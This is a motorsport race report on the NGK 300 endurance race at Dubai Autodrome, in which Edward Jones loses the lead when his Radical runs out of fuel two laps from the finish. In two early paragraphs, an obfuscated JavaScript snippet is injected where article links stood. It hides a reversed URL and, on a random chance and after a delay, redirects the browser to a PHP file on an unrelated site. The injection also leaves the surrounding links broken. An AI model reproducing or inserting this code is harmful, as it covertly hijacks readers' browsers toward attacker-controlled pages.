NGK 300. Cruel Luck Just Two Laps From Home

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$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-track/2013-dubai-24hrs-the-local-boys-uae-honours/” target=”_blank”>Fresh from D1 Class victory at the Dubai 24hrs, the SDVP BMW 120d (with team principal Spencer Vanderpal and Jason O’Keefe) was sporting a new livery in deference to new sponsors Valvoline and the company’s new Engine Armour product. Third in-class behind the Moutran/Simmonet Clios (aided immensely by not having to stop for fuel) ensured another trophy for the SDBP cabinet.

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All focus however was on the battle up front between Jordon Grogor in the #24 Radical and the returning Edward Jones$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-track/radical-winter-cup-round-3-dubai-autodrome-guest-of-honour/” target=”_blank”>who took double victory on his last visit to the Dubai Autodrome – in the #5 entry. Stellar purple sectors from the South African meant that once the driver changes were complete, the gap between first and second, Grogor and Jones, was nearly 35 seconds with only 25 laps to run around the 5.3km Grand Prix Circuit. The young Brit got the hammer down. Hard.

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With 15 laps to go, the gap was down to 11s. With 11 left to run, it was just to 4s. And with nine to go, it was 2s. All of a sudden the leaders were on the same straight, and the white #5 Radical hoved into view in Grogor’s mirrors. Jones, now with a rabbit to chase, began setting fastest laps again. To hell with hi tyres.

Three times in succession the pair crossed the finish line barely separated by 0.2s. A move here, a late dive there and a late braking attempt around the outside here could not get the job done for Jones, Grogor leaving his young rival just enough room but keeping his line well guarded.

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Lap 64 of 70. Jones and Grogor, just 0.3s apart barrelled down the back straight. A good slipstream brought Jones right onto his rival’s tailpipes. Not yet. The pair, ever closer, sailed past the 150m board towards turn 12. Not yet. Closer again as they hit the 100m board. Not yet. As late as he dared, Grogor threw the anchor out, ready to take his line through the corner.

Now.

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With just four laps to go, Jones had stolen the lead around the outside of turn 12 after a brilliant drive.

Two laps later, the #5 Radical was cruising to a halt, it’s fuel tank empty. Jones, his head dipped in the cockpit, could do nothing to stop Grogor and – eventually – Faber sailing past to take the top two spots at the chequered flag.

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Much as had been the case for the Gulf 12Hrs twelve months earlier, a good inaugural running of the NGK 300 was a must for the organisers. Cruel luck had struck Edward Jones and teammate Amro Al-Hamad on the penultimate lap in a fight for victory that had included six cars throughout the day and all 70 laps of the 300km endurance event.

The NGK 300 had delivered in spades.

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